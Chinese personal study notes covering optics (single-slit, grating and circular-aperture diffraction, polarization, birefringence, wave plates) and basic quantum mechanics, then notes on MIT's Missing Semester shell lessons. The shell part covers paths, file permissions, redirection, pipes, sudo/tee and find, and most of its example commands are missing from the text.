这表明光的强度分布与 \(\sin u / u\) 的形式有关,称为“sinc”函数。
暗纹当 sinc 函数为 0, \( u = \pi \), \( a \sin \theta = k \lambda \), 即 \( \sin \theta = \frac{k \lambda}{a} \)
次级大宽度为两个相邻暗纹之间的距离,即:
如果问实际距离,则需要乘以 \(D\)(前提是角度很小)
波长变化对于衍射条纹的影响
假设固定\(\lambda\),变化\(a\),则条纹间距会变化。
-
当 \(\frac{\lambda}{a} \to 1\) 时,\(\sin \theta_0 \to 1\),此时屏幕已无暗纹;
-
当 \(\frac{\lambda}{a} \to \infty\) 时,\(\Delta x_0 = \infty\),此时屏幕亮度均匀;
-
当 \(\frac{\lambda}{a} \to 0\) 时,\(\Delta x_0 \to 0\) 此时衍射图样聚集在一起,屏幕上只显出单一的亮线——单缝的几何光学像。(a很大,相当于没有阻挡,正常的几何光学成像)
圆孔的夫琅禾费衍射
实验装置如下:
其会形成一系列的同心圆环,称为“爱里斑”。
衍射受限与瑞利判据¶
理想点光源的像是一个点,但实际上由于衍射,像是一个爱里斑。(可以近似为一个宽度为透镜高度,后面是无限大透镜的衍射)
很近的两个物点象斑有可能重叠,从而分辨不清。
瑞利判据
对于两个等光强的非相干物点,若其中一点的象斑中心恰好落在另一点的象斑的边缘(第一暗纹处),则此两物点被认为是刚刚可以分辨。此时两个爱里斑重叠部分的光强为爱里斑中心光强的80%。
光栅衍射¶
光栅
光栅—大量等宽等间距的平行狭缝(或反射面) 构成的光学元件。
光栅常数:周期长度 \(d = a + b\)
光栅的衍射图样为在原单缝的中央明纹中,出现暗纹,随着 \(N\) 的增加,衍射条纹的亮度会逐渐增加,但是也逐渐变细。
是多个单缝衍射的干涉结果。
相邻两光的相位差为
相邻振动的振幅 \(A_1, A_2, \ldots, A_N\)
这里类似于单缝衍射的振幅矢量叠加法,但是也有所不同。
- 当 \(\Delta \varphi = 2k\pi\) 时,每一个振幅矢量方向相同,所以 \(A_p = NA_1\),此时为最大值。
即
这里的\(k\)有范围,因为\(d \sin \theta\) 最大为 \(d\),所以 \(k\) 最大为 \(\frac{d}{\lambda}\)。
k为主极大级数,k=0称中央明纹。光栅极大的位置由相邻狭缝间的干涉极大决定
- 当\(N\Delta \varphi = 2k\pi\)时,此时矢量叠加闭合,\(A_p = 0\),此时为暗纹。
Warning
k'不能取N的整数倍,因为这时是主极大的位置。
光栅衍射的谱线特点

1)主级大明纹的位置与缝数N无关,它们对称地分布在中央明纹的两侧,中央明纹光强最大;
2)在相邻的两个主级大之间,有N−1个极小(暗纹)和N−2个光强很小的次极大,当N很大时,实际上在相邻的主极大之间形成一片暗区,即能获得又细又亮暗区很宽的光栅衍射条纹。
定量分析光栅衍射的光强
其中
当 \(\theta \to 0\) 时,\(I_m \to N^2 I_0\),所以缝数越多,光强越大。
半角宽度

如果 \(\theta\) 不小,\(\sin \theta \neq \theta\)
与它最近的0点为(\(Nd\sin \theta' = (mN + 1) \lambda\))
所以使用拉格朗日中值定理,有
\(\theta\) 很小时,\(\cos \theta \to 1\),所以
所以缝越多,半角宽度越小,条纹越细。
光栅衍射的缺极¶
缺级:缺级是指光栅中不同单缝衍射互相干涉的主极大位置于单缝衍射的暗纹位置重合,导致光栅衍射的明纹消失。
即
当 \(\dfrac{a}{d} = \dfrac{k'}{k}\) 时,光栅衍射的明纹消失。
如果说第一个缺级出现在\(k=2\)(\(k'=1\)),这说明\(d=2a=a+b\),即\(b=a\)。

图例给出的是\(d=4a\)的情况;
光栅光谱
光栅光谱是指复色光照射光栅时,谱线按波长向外侧依次分开排列,形成的光谱;
只有第一级,第二级开始有重叠。
光栅光谱的分辨本领
光栅的分辨本领是指把波长靠得很近的两条谱线分辨的清楚的本领。
与瑞利判据类似,当两条谱线刚好能分辨时,一个在极大,一个在极小。

波长为 \(\lambda + \Delta \lambda\) 的第 \(k\) 级主极大的角位置为:
波长为 \(\lambda\) 的第 \(kN+1\) 级极小的角位置为:
因此,分辨本领 \(R\) 为:
即要分辨清楚第\(k\)级谱线,需要\(N\)条缝。这里的\(\lambda\)是平均波长,\(\Delta \lambda\)是波长偏移。
色散本领与分辨本领
首先,对于\(m\)级的主极大,有
所以两边同时取微分,有
所以可以定义色散本领
使用瑞利判据,当其可以分辨时,两者角度相差为半角宽度,即
所以此时可以分辨的极限波长差为
所以分辨本领定义为
Bragg 公式¶
布拉格公式:
其中\(d\)是晶格常数,\(\theta\)是入射角,\(n\)是整数,\(\lambda\)是波长。
解释了不同晶面间反射的干涉增强条件.
光的偏振(Polarization)¶
在自然光中,光波的电矢量在任意时刻和任意位置的方向都是随机的,这种光称为非偏振光。而在某些情况下,光波的电矢量在某一方向上的振动,而在另一方向上的振动为零,这种光称为偏振光。
线偏振光¶
自然光通过偏振片之后,只有在某一方向上的电矢量振动,这种光称为线偏振光。 只有与偏振片的缝方向垂直的电矢量才能通过;其它的电矢量会被吸收。
在自然光中,任意两个垂直分量的振幅是相等的,即可以把自然光分解为任意两个垂直方向的线偏振光的叠加,那么经过偏振片后,只有与偏振片允许(TA)的分量通过,其它分量被吸收。假设自然光的电矢量为\(E_0\),则经过偏振片后的电矢量为\(\dfrac{E_0}{\sqrt{2}}\)。光强为\(I_0\),则经过偏振片后的光强为\(\dfrac{I_0}{2}\)。(\(I_0 \propto E_0^2\))
马隆定律
线偏振光通过与振动方向成\(\theta\)角的偏振片后,光强为\(I = I_0 \cos^2 \theta\)。
所以在上图中\(I_2=I_1 \cos^2 \theta\)
利用马隆定律推导自然光通过偏振片后的光强
我们知道自然光通过任意方向偏振片光强都变为原来的一半;我们可以使用马隆定律来推导这一结论。
首先,对于自然光,可以将其看作无数个方向上的振动,它与偏振片的夹角为\(\alpha\),\(\alpha\)满足\(0\)到\(2\pi\)的均匀分布。
概率密度为\(p=\dfrac{1}{2\pi}\),所以通过偏振片后的光强为 对应的光强为\(I = I_0 \cos^2 \alpha\),所以平均光强为
例子
一束沿\(x\)方向的线偏振光,经过两个偏振片,第一个偏振片(TA方向)与\(x\)轴成\(\theta\)角,第二个偏振片与\(y\)轴平行,求\(\theta\)为多少时,第二个偏振片的透射光强最大。
基本不等式可知,当\(\theta = 45^\circ\)时,透射光强最大。
常见偏振态¶
线偏振光 对于两束等强正交线偏振光,如果其相位差为\(k \pi\),则同时变大,同时变小,合成的为线偏振光。
圆偏振光
如果两束等强正交线偏振光的相位差为\(\dfrac{\pi}{2}+k \pi\),则其中一束光最大时,另一束光最小,周期性振动,合成的为圆偏振光。
由先到达最大的向后到达最大的旋转.
椭圆偏振光
当两束线偏振光不等强,或者相位差不是\(k \dfrac{\pi}{2}\)时,合成的光为椭圆偏振光。
无偏振光
即最常见的自然光,可以向任意方向振动,没有固定的振动方向。自然光可以看作是由两个振动方向垂直、相互间没有固定相位差、等振幅的线偏振光(非相干光)组合而成的。
无偏振光与圆偏振光的区别在于,传播的时候,无偏振光的振动方向是随机变化的,而圆偏振光的矢量轨迹是一个圆;
部分偏振光
按比例的含有自然光和偏振光的光。振动方向是随机变化的,在其中一个方向上的振动是最强的;
部分偏振光可分解为两束振动方向相互垂直的、不等幅的、不相干的线偏振光。
部分偏振光与椭圆偏振光的区别在于,部分偏振光的振动方向是随机变化的,而椭圆偏振光的矢量轨迹是一个椭圆。
偏振度
其中\(I_{max}\)是强度最大方向最大光强,\(I_{min}\)是强度最小方向光强,相减即为偏振光的光强,相加即为总光强。
对于线偏振光,\(I_{min}=0\),偏振度为1;对于自然光,\(I_{max}=I_{min}\),偏振度为0。
Brewster 角¶
当自然光以某一角度入射时(反射角与折射角之和为90度),反射光为线偏振光。
假设入射角为\(\theta_1\),折射角为\(\theta_2\),则有
根据折射定律,有
所以
所以
如果经过多次反射,每一次都为brewster角,则最后折射出来的光大部分都为线偏振光。
双折射现象(Birefringence)¶
双折射现象
双折射现象是指当光线通过某些各向异性介质(如方解石晶体)时,会分裂成两束偏振方向互相垂直的光线。这两束光线分别称为普通光(o光)和非常光(e光);
具体来说,当一束未偏振的光进入双折射介质时,会分裂成两束光线:一束遵循常规折射定律(斯涅尔定律),称为普通光(ordinary light, o光);另一束则不遵循常规折射定律,称为非常光(extraordinary light, e光)。
对于o光来说,其在介质中四面八方的折射率相同,其速度恒等于\(v_o\),对于e光来说,其在介质中四面八方的折射率不同,其速度在不同方向上从\(v_e\)到\(v_o\)变化。
称\(n_o=\dfrac{c}{v_o}\),\(n_e=\dfrac{c}{v_e}\)为主折射率;
双折射现象广泛应用于光学仪器中,如偏光显微镜、液晶显示器等。
光的快慢轴
对于e光来说,其折射率在介质中不同方向不同,所以其传播速度不同,而频率不变,所以波长会变化;
对于传播方向快的;有
对于传播方向慢的;有
其中\(f\)是频率,\(\lambda\)是波长。
所以\(\lambda_{fast} > \lambda_{slow}\)。
光轴(Optical Axis)¶
o光和e光沿着光轴方向传播时,速度相同,折射率相同,对于 负晶体而言 ,\(n_o > n_e\),\(v_o< v_e\),对于 正晶体而言 ,\(n_o < n_e\),\(v_o > v_e\)。
常见的负晶体有\(CaCO_3\)
常见的正晶体有二氧化硅\(SiO_2\)
将光轴和光的传播方向构成的平面称为主平面(Principal Plane)。
- o光:振动方向垂直于主平面;
- e光:振动方向平行于主平面;
光轴与快慢轴之间的关系
负晶体而言,e光在光轴方向传播速度最慢,其它地方比o光快,光轴为慢轴,与光轴垂直的,传播速度最快的方向为快轴;
正晶体而言,e光在光轴方向传播速度最快,其它地方比o光慢,光轴为快轴,与光轴垂直的,传播速度最慢的方向为慢轴;
图中画虚线的为光轴,当一束光照向这样的结构时,可以将其振动方向分解为o光和e光的振动方向,由于光轴方向上o光和e光的速度相同,所以o光和e光在光轴方向上传播的距离相同,所以o光和e光在光轴方向上的相位差为0,但是在传播方向上,e光的速度为\(v_e\),o光的速度为\(v_o\),所以e光和o光的相位差为
其中\(d\)是片的厚度
QWP和FWP
- QWP:Quarter Wave Plate,四分之一波片,\(\Delta \phi = \dfrac{\pi}{2}\)
- HWP:Half Wave Plate,半波片,\(\Delta \phi = \pi\)
- FWP:Full Wave Plate,全波片,\(\Delta \phi = 2\pi\)
当光通过QWP时,o光和e光的相位差为\(\dfrac{\pi}{2}\);
-
如果是线偏振光,则一开始将其分解为o光和e光的振动方向,原本的相位差为\(k\pi\),通过QWP后,相位差为\(k\pi+\dfrac{\pi}{2}\),所以合成后出射的光为圆偏振光。
-
如果是圆偏振光,则通过QWP后,相位差为\(k\pi\)。所以合成后出射的光为线偏振光。
例子
一束自然光通过45度偏振片后,出射的光为线偏振光,再通过QWP后,出射光满足
即慢轴不变,快轴变为\(\sin(kz-\omega t-\dfrac{\pi}{2})\),所以合成后出射的光为圆偏振光。为RCP,注意,快轴领先,所以它会先到达最大,所以是减去,在图上看来也是如此,从缝里出来后,先遇到了快轴的最大(\(-y\)方向上),然后才是慢轴的最大。
例子
对于3A,第一次无法将振动方向分解为o光和e光的振动方向,所以出射的光仍为原光,第二次完全被阻挡,所以出射的光为0,\(I_1=0\)
对于3B,第一次将振动方向分解为o光和e光的振动方向,由于是\(1/4\)波片,所以出射的光为圆偏振光,
第二次相当于两束线偏振光经过,由马隆定律可知
由于快慢光独立衰减,所以最后的光强为
Danger
虽说e光并不满足折射定律,但是有一种例外,当光轴与入射面垂直时(主平面与入射面垂直,光轴和法线平行),e光满足折射定律,有
和
不要把法线和光轴搞混了(-_-)
量子力学¶
约 1936 个字 预计阅读时间 7 分钟
普物的最后一舞,加油!💪
The nature of light(光的本质)¶
黑体辐射
黑体辐射是指一种理想化的物体(称为黑体)在热平衡状态下发出的电磁辐射。黑体能够吸收所有入射的电磁辐射,而不反射或透射任何辐射
普朗克辐射定律
\( h = 6.63 \times 10^{-34} \, \text{J} \cdot \text{s} \)
常见的的表达有普朗克常数\(h\) 和 约化普朗克常数\(\hbar = \frac{h}{2\pi}\)
光子的性质¶
光具有波粒二象性,光子具有能量和动量。
-
波: \(\bold{E}=E_m \cos(kx-\omega t)\),或者\(\bold{E}=E_e e^{i(kx-\omega t)}\)
- \(k\) 波数,\(k = \frac{2\pi}{\lambda}\)
- \(\omega\) 角频率,\(\omega = \frac{2\pi}{T}\)
- \(T\) 周期,\(T = \frac{1}{f}\)
- \(f\) 频率,\(f = \frac{\omega}{2\pi}\)
-
粒子: \(E=h\nu=h\dfrac{\omega}{2\pi}=\hbar\omega\),同时能量和动量满足关系\(E=mc^2=pc\)
- 动量\(p=\dfrac{E}{c}=\dfrac{h\nu}{c}=\dfrac{h \nu}{\nu \lambda}=\dfrac{h}{\lambda}=\dfrac{h}{\frac{2\pi}{k}}=\dfrac{h}{2\pi}k=\hbar k\)
光电效应
光电效应是指当光照射到某种材料(通常是金属)表面时,会导致材料表面释放出电子的现象。这一效应是由爱因斯坦在1905年解释的,他提出光子具有粒子性质,并且每个光子的能量与其频率成正比。光电效应的关键特征包括:
-
阈值频率:只有当入射光的频率高于某个特定值(阈值频率)时,才会发生光电效应。这是因为光子的能量必须大于材料中电子的逸出功(即将电子从材料中释放所需的最小能量)。
-
光子能量与电子动能:入射光子的能量一部分用于克服材料的逸出功,剩余的能量转化为电子的动能。公式为:
其中,\( h \) 是普朗克常数,\( \nu \) 是光的频率,\( W \) 是逸出功,\( m \) 是电子的质量,\( v \) 是电子的速度。
- 光强度与电子数量:增加入射光的强度(即光子数量)会增加释放的电子数量,但不会影响电子的最大动能。
光电效应的发现和解释为量子力学的发展奠定了基础,并且为光的粒子性提供了重要的证据。
Matter Wave(物质波)¶
🐅:神人德布罗意
物质波是德布罗意在1924年提出的一个概念,他认为任何物质都具有波动性,但是在提出这一概念之前,他并没有系统的学过物理;
对于宏观世界速度为\(v\),质量为\(m\)的粒子
- 动量\(p=mv\)
- 动能\(E_k=\frac{1}{2}mv^2\)
其波性质为
- \(E = h\nu=\hbar\omega\)
- \(p = h/\lambda=\hbar k\)
其波长为
- \(\lambda = \dfrac{h}{p}=\dfrac{h}{mv}=\dfrac{h}{\sqrt{2mE_k}}\)
其满足这样一个波函数
波函数的物理解释¶
物质波是一种概率波
The product \(\Psi^*\Psi\) gives the probability that the particle in question will be found between positions \(x\) and \(x+dx\).
即
波函数的平方模 \(\Psi^*\Psi\) 表示粒子在位置 \(x\) 到 \(x+dx\) 之间被找到的概率。 公式为:
其中,\(\Psi^*\) 是波函数的复共轭,\(dx\) 是位置的微小变化量。
将几率密度定义为
若要求粒子在\(x_1\)到\(x_2\)之间被找到的概率,则
同时其满足归一化
对于自由粒子而言
是一个很小的常量
算符定义¶
期望算符¶
一个粒子的期望位置
两个角代表被\(\Psi^*\) 和 \(\Psi\) 夹住做积分
如果求其它量例如势能的期望值也是类似的,例如\(\langle \psi |U(x)|\psi \rangle\)
动量算符(momentum operator)¶
对于\(\Psi = \psi_0 e^{i(kx-\omega t)}\)
对 \(x\) 求导数
而\(\hbar k\) 就是动量\(p\)
所以
动量算符为 $ p= -i\hbar \frac{\partial}{\partial x}$
用动量算符求动量
能量算符(Energy operator)¶
能量算符为 \(E = i\hbar \frac{\partial}{\partial t}\)
用能量算符求能量
薛定谔方程¶
对于一个粒子的总能量,有势能和动能
两边同时乘以波函数\(\Psi\)
将\(E\) 和 \(p\) 用算符表示
称其为一维含时薛定谔方程
简写为
其中\(\hat{H}\) 为哈密顿算符,也是能量算符
- 一维 \(\hat{H} = -\frac{\hbar^2}{2m} \frac{\partial^2}{\partial x^2} + U(x,t)\)
- 三维 \(\hat{H} = -\frac{\hbar^2}{2m} \nabla^2 + U(x,y,z,t)\)
定态薛定谔方程¶
如果说势能\(U\) 不随时间变化,则波函数可以写成
含\(t\)的项消去,得到
再运用\(E = \hbar \omega\)
称其为一维定态薛定谔方程
可以化为
其它定义
虎哥只提了一下,那我也只记一下
- 势垒隧道(barrier tunneling)
势垒隧道是指在量子力学中,粒子能够穿过势垒(势能)的量子效应。势垒隧道效应是量子力学中的一个基本现象,它描述了粒子在势垒(通常是势能)的阻挡下仍然能够穿透的现象。
- 测不准原理(Uncertainty principle)
测不准原理是指在量子力学中,粒子的位置和动量不能同时被精确测量。这意味着,如果我们试图精确测量粒子的位置,那么它的动量就会变得不确定,反之亦然。
同样能量和时间也有这样的关系
💻 自学笔记
一些自学¶
约 23 个字 预计阅读时间不到 1 分钟
不定期更新
Missing Semester (TMS)
The Missing Semester¶
约 254 个字 预计阅读时间 1 分钟
The Missing Semester 是一门由 MIT 开设的课程,旨在填补计算机科学教育中常常被忽略的部分。课程内容涵盖了实用的计算机技能和工具,如命令行操作、版本控制、脚本编写、编辑器使用等。这些技能对于计算机科学专业的学生和从业者来说至关重要,但在传统的课程设置中往往没有得到足够的重视。
课程链接:The Missing Semester
虽然对于命令行等工具已经有过基本的使用,但是相信系统化的学习之后,会有更大的收获。
本次学习跳过了 Git 和 Vim 部分,因为本人目前更加倾向于使用 VSCode,Vim 只了解了基本操作已经足够. Git 笔记见 Git。
目录¶
Overview and Shell¶
约 4604 个字 111 行代码 3 张图片 预计阅读时间 17 分钟
什么是终端和shell
终端(Terminal)是用户与计算机系统交互的界面。它可以是一个物理设备,如早期的计算机终端,也可以是一个软件应用程序,如现代操作系统中的终端仿真器。通过终端,用户可以输入命令并查看计算机的输出。终端通常用于执行命令行操作,进行文件管理、系统配置和程序运行等任务。
Shell 是一种命令行解释器,它提供了一个用户与操作系统内核交互的界面。用户在终端中输入的命令会被 Shell 解释并传递给操作系统执行。Shell 还提供了编程功能,如变量、控制结构和脚本编写,使用户能够编写复杂的自动化任务。
常见的 Shell 包括:
- Bash(Bourne Again Shell):大多数 Linux 发行版的默认 Shell。
- Zsh(Z Shell):功能强大且可定制的 Shell,近年来越来越受欢迎。
- Fish(Friendly Interactive Shell):用户友好的 Shell,提供了许多现代特性。
Shell 是用户与操作系统之间的重要桥梁,通过它,用户可以高效地管理和控制计算机系统。
如果某些命令不记得了,可以使用man命令查看帮助文档,或者安装tldr命令查看简化的帮助文档
echo 命令¶
echo 命令用于在终端中显示一段文本或变量的值。它是一个非常基础且常用的命令,常用于脚本编写和调试。
基本语法:
常用选项:
- -n:不在输出的末尾添加换行符。
- -e:启用反斜杠转义字符的解释。
示例:
输出:
使用 -n 选项:
输出:
使用 -e 选项:
输出:
参数之间使用空格分开
环境变量(PATH)¶
环境变量是操作系统中用于存储系统设置和配置信息的变量。它们在操作系统和应用程序之间传递信息,控制程序的行为和运行环境。环境变量通常以键值对的形式存在,每个变量都有一个名称和一个对应的值。
更通俗的说,当我们在终端里面输入命令时, 操作系统会根据 PATH 变量中定义的目录顺序搜索该命令对应的可执行文件,如果可以找到,则执行该文件。
要想输出自己的环境变量,可以使用 echo 命令,例如:
会返回绝对路径
路径
绝对路径就是完全确定文件位置的路径
相对路径是相对于当前工作目录的路径
. 表示当前目录
.. 表示上一级目录
~ 表示当前用户的主目录
输入 pwd 可以查看当前工作目录
输入 ls 可以查看当前目录下的文件
输入 cd 可以切换目录(cd 目录名)
在Linux中,路径通常以 / 开头,表示根目录。
在windows中,路径通常以 盘符:\ 开头。
因为在windows中每一个盘都代表一个文件系统,所以我们经常会看到 C:\ 这样的路径。\
例如
graph TD;
C("C:\\") --> ProgramFiles("C:\\Program Files");
C("C:\\") --> Users("C:\\Users");
C("C:\\") --> Windows("C:\\Windows");
D("D:\\") --> Documents("D:\\Documents");
D("D:\\") --> Downloads("D:\\Downloads");
E("E:\\") --> Music("E:\\Music");
E("E:\\") --> Videos("E:\\Videos");
F("F:\\") --> Backup("F:\\Backup");
F("F:\\") --> Projects("F:\\Projects");
而在Linux中,文件结构是树状的,所以路径通常以 / 开头,表示根目录。
graph TD;
root("/") --> bin("/bin");
root("/") --> boot("/boot");
root("/") --> dev("/dev");
root("/") --> etc("/etc");
root("/") --> home("/home");
root("/") --> lib("/lib");
root("/") --> media("/media");
root("/") --> mnt("/mnt");
root("/") --> opt("/opt");
root("/") --> proc("/proc");
root("/") --> run("/run");
root("/") --> sbin("/sbin");
root("/") --> srv("/srv");
root("/") --> sys("/sys");
root("/") --> tmp("/tmp");
root("/") --> usr("/usr");
root("/") --> var("/var");
如果想知道某条命令具体在哪个目录下,可以使用 which 命令,例如:
cd¶
cd 命令是一个用于在终端中更改当前工作目录的命令。它是 "change directory" 的缩写。使用 cd 命令,用户可以在文件系统中导航到不同的目录。
- 如果不带参数,
cd会将当前目录更改为用户的主目录。 - 使用
cd ..可以返回到上一级目录。 - 使用
cd -可以返回到上一个工作目录。
一些常见的用法有
这将把当前工作目录更改为 /path/to/directory。
这将把当前工作目录更改为上一级目录的上一级目录的指定目录。
这将把当前工作目录更改为当前目录的指定目录
- 路径可以是绝对路径或相对路径。
- 在 Linux 和 macOS 中,路径区分大小写。
- 使用
pwd命令可以查看当前工作目录。
通过 cd 命令,用户可以方便地在文件系统中导航,执行文件管理和其他操作。
ls¶
ls 命令是一个用于列出目录内容的命令。它是 "list" 的缩写。使用 ls 命令,用户可以查看指定目录下的文件和子目录。
folder vs directory
directory 是目录, 是文件系统中的一个概念, 而 folder 是文件夹, 是图形化界面中的一个概念,folder 不一定是directory,除非它存在于文件系统中,directory 也不一定显示为是 folder,只有它在GUI环境下才是
使用ls --help可以查看ls命令的帮助文档
常用的参数有
-a:显示所有文件和目录,包括隐藏文件(以.开头的文件,即隐藏文件 )。
-l:以长格式显示文件和目录。
例如在本人的~目录下输入ls -l会返回
total 15596
-rw-r--r-- 1 kailoveq kailoveq 787 Dec 24 2023 1.txt
-rw-r--r-- 1 kailoveq kailoveq 334 Jul 4 2024 Kailqq.txt
drwxr-xr-x 3 kailoveq kailoveq 4096 Sep 2 11:07 MASM
drwxr-xr-x 7 kailoveq kailoveq 4096 Feb 27 2024 autojump
-rw-r--r-- 1 kailoveq kailoveq 2634817 Feb 2 2024 get-pip.py
-rw-r--r-- 1 kailoveq kailoveq 6140 Nov 12 2015 mysql-community-release-el7-5.noarch.rpm
drwxr-xr-x 10 kailoveq kailoveq 4096 Jan 17 23:54 node_modules
drwxr-xr-x 2 kailoveq kailoveq 4096 Jan 21 2024 ok
-rw-r--r-- 1 kailoveq kailoveq 3843 Jan 17 23:58 package-lock.json
-rw-r--r-- 1 kailoveq kailoveq 152 Jan 17 23:58 package.json
-rw-r--r-- 1 kailoveq kailoveq 0 Feb 20 2024 selected
drwx------ 4 kailoveq kailoveq 4096 Jan 24 14:25 snap
drwxr-xr-x 4 kailoveq kailoveq 4096 May 18 2024 texmf
total 15596,表示该目录下有15596个文件和子目录。
然后看包含-的行,如果前面有d,表示该文件是一个目录,如果前面是-,表示这是一个文件
除第一个外,还剩下九个位置,每三个位置为一组,分别表示对应的权限
前三位表示文件所有者的权限,中间三位表示文件所有者所在组的权限,最后三位表示其他人的权限
例如对于texmf,前三位为rwx,表示文件所有者有读、写、执行的权限,中间三位为r-x,表示文件所有者所在组有读、执行的权限,最后三位为r-x,表示其他人有读、执行的权限
目前而言,在我的home目录下,所有者和组都是kailoveq
如果对于文件而言
r表示可读文件的内容w表示可对文件进行修改x表示可以执行文件
如果对于目录而言
- r表示可以读取目录中的文件列表
- w表示是否可以对目录中的文件进行重命名或者删除,这说明,如果有对于目录内文件的w权限,但是没有对于目录的w权限,那么不能删除目录内的文件,仅仅可以清空目录
- x表示是否可以进入目录
rename move and delete¶
mv命令用于移动文件或目录,也可以用于重命名文件或目录。
cp命令用于复制文件或目录。
mv命令的基本语法是
cp命令的基本语法是
例如我想要将1.txt重命名为2.txt,那么我可以在终端中输入
然后我想要将它移动./dir1目录下,那么我可以在终端中输入
这会在./dir1目录下创建一个2.txt文件,并且将原本的2.txt删除,其内容会移动到./dir1目录下
其效果等同于
rm命令用于删除文件或目录,它并不支持递归删除,所以如果想要删除目录,需要使用-r选项
删除文件时
删除目录时
或者当目录为空时,可以使用rmdir命令
如果加上参数-f选项表示强制删除.
创建目录
创建目录时,可以使用mkdir命令
dir1的目录
会在当前目录下创建一个名为my的目录和一个名为photo的目录
会在当前目录下创建一个名为my photo的目录,使用\来转义空格,也可以mkdir "my photo"来实现同样的效果
会在进入到dir1/dir2目录后,创建一个名为dir3的目录
如果想要创建多级目录,可以使用mkdir -p命令
dir1的目录,然后进入dir1目录,创建一个名为dir2的目录,然后进入dir2目录,创建一个名为dir3的目录
Tips:如果你的终端这时候已经很多东西了,可以使用
Ctrl+L或者clear来清屏
重定向¶
在 shell 中,程序有两个主要的“流”:它们的输入流和输出流。 当程序尝试读取信息时,它们会从输入流中进行读取,当程序打印信息时,它们会将信息输出到输出流中。 通常,一个程序的输入输出流都是您的终端。也就是,您的键盘作为输入,显示器作为输出。 但是,我们也可以重定向这些流。
最基本的有两个
> 表示输出重定向,将命令的输出结果重定向到指定文件中。
< 表示输入重定向,将指定文件作为命令的输入。
例如
这会创建一个名为output.txt的文件,并将其内容设置为Hello, World!
如果使用cat命令查看output.txt文件的内容,cat output.txt会返回
我们也可以将output.txt文件的内容重定向到input.txt文件中
这将把output.txt文件的内容重定向到input.txt文件中,如果input.txt文件不存在,将会创建一个input.txt文件,如果input.txt文件存在,将会覆盖input.txt文件的内容
如果我们不想要覆盖input.txt文件的内容,而是想要在input.txt文件的末尾添加内容,可以使用>>
这将把output.txt文件的内容添加到input.txt文件的末尾(append)
Pipe¶
管道|是一种将左边命令的输出作为右边命令的输入的机制。
例如
这将把output.txt文件的内容作为grep命令的输入,并返回包含Hello的行
假设我只想要ls -l的最后一行
这将把ls -l的最后一行作为tail命令的输入,并把最后一行(tail命令的-n选项表示返回最后n行)输出到output.txt文件中
Info
在这个过程中,ls不知道什么是tail,tail也不知道什么是ls,它们只是正常的执行命令,而pipe机制将它们的输出和输入连接了起来
Root user¶
在Linux中,root用户是超级用户,拥有最高的权限,可以执行任何命令,修改任何文件,删除任何文件,创建任何文件,甚至可以删除其他用户。
root用户的UID是0,GID是0
一般情况下,我们不会使用
root用户登录,否则万一不小心以root权限执行了错误的命令,Oops,你的电脑崩溃了
某些情况下,我们需要使用root用户的权限,这时候我们可以使用sudo命令(do as super user)
这将使用root用户的权限执行命令
当使用sudo命令时,系统会提示你输入密码,这是为了防止误操作
例如我们想要修改亮度的配置文件
这将得到
这时候我们就可以使用sudo命令
仍然是
这是因为我们在前面说过,重定向两边并不知道彼此,也就是说shell看到的是我们以root权限执行了echo 500 ,然后在**普通用户**下打开brightness文件将结果输入进去,所以会报错
想要解决这个问题,可以切换到root用户
这时候我们就可以直接执行,值得注意的一点是,切换为root用户后,提示符从$或者其它你自定义的提示符变为#
或者更加优雅的方式是
这时候我们告诉shell,正常执行echo 500,然后使用sudo tee命令将结果输出到/sys/class/backlight/intel_backlight/brightness文件。
tee命令会从标准输入读取数据,并同时写入到标准输出和文件。即写入文件的同时,也会在终端中显示出写入的内容。
Tips:
xdg-open命令可以以适当的程序打开一个文件
Find¶
find 命令是一个强大的工具,用于在文件系统中查找文件和目录。它可以根据各种条件(如名称、类型、大小、修改时间等)进行搜索,并支持递归搜索子目录。
- 搜索路径:指定要搜索的目录路径。如果不指定,默认为当前目录。
- 搜索条件:指定查找文件的条件,如名称、类型、大小等。
-
操作:指定对找到的文件执行的操作,如删除、打印等。
-
-name [名称]:按名称查找文件。 -type [类型]:按文件类型查找,如f表示文件,d表示目录。-size [大小]:按文件大小查找。-mtime [天数]:按修改时间查找,-mtime +n表示 n 天前修改的文件,-mtime -n表示 n 天内修改的文件。-exec [命令] {} \;:对找到的文件执行指定命令。-L:跟随符号链接,解析符号链接为其指向的实际文件或目录。
一些例子如下
-
查找当前目录下名为
example.txt的文件: -
查找
/home/user目录下所有.txt文件: -
查找当前目录下所有大于 100MB 的文件:
-
查找
/var/log目录下 7 天前修改的文件: -
查找并删除当前目录下所有
.tmp文件: -
查找并列出
/etc目录下所有目录: -
查找并跟随符号链接:
这将查找
/path/to/search目录及其子目录中名为example.txt的文件,并跟随任何符号链接。
符号链接
在文件系统中,符号链接(symbolic link)是一种特殊类型的文件,它指向另一个文件或目录。符号链接类似于 Windows 中的快捷方式,它们不包含实际数据,而是指向目标文件或目录的路径。
当我们说“跟随符号链接”时,意思是当一个命令(如 find)遇到符号链接时,它会解析这个链接并继续在链接指向的目标文件或目录中执行操作。换句话说,命令会将符号链接视为其指向的实际文件或目录,而不是仅仅将其视为一个链接。
假设我们有以下文件结构:
在这个例子中,link_to_file.txt 是一个符号链接,指向 actual_file.txt。
- 不跟随符号链接:默认情况下,
find不会跟随符号链接。这意味着如果你在/home/user目录中使用find查找文件,link_to_file.txt会被视为一个符号链接,而不会进一步查找actual_file.txt。
这将直接找到 actual_file.txt,而不会考虑 link_to_file.txt。
- 跟随符号链接:使用
-L参数,find会跟随符号链接。这意味着find会将link_to_file.txt解析为actual_file.txt,并在其指向的目标中继续查找。
这将找到 actual_file.txt,即使它是通过 link_to_file.txt 访问的。
跟随符号链接在某些情况下非常有用,特别是当你希望在符号链接指向的目录中执行操作时。
通配符查找¶
find 命令支持使用通配符进行查找,常用的通配符包括 *、? 和 []。
*:匹配零个或多个字符。?:匹配单个字符。[]:匹配括号内的任意一个字符。-
{}:扩展括号内的元素。 -
查找当前目录下所有以
.log结尾的文件: -
查找当前目录下所有以
file开头并以任意单个字符结尾的文件: -
查找当前目录下所有以
file开头并以1、2或3结尾的文件:
通配符也可以在其它命令如ls中使用
find 和 locate
locate命令和find命令类似,但是locate命令使用的是数据库,所以速度更快。
locate命令会返回所有包含指定字符串的文件路径。
课后习题¶
题目如下
solutions¶
首先cd /tmp进入tmp目录,然后创建目录使用mkdir
然后man查看touch命令
touch 是一个常用的命令行工具,主要用于在文件系统中创建新的空文件或更新现有文件的时间戳。以下是 touch 命令的基本用法和功能:
-
如果指定的文件不存在,
这将创建一个名为touch会创建一个新的空文件。例如:newfile.txt的新文件。 -
如果指定的文件已经存在,
touch会更新该文件的访问时间(atime)和修改时间(mtime)为当前时间,而不改变文件的内容。例如: -
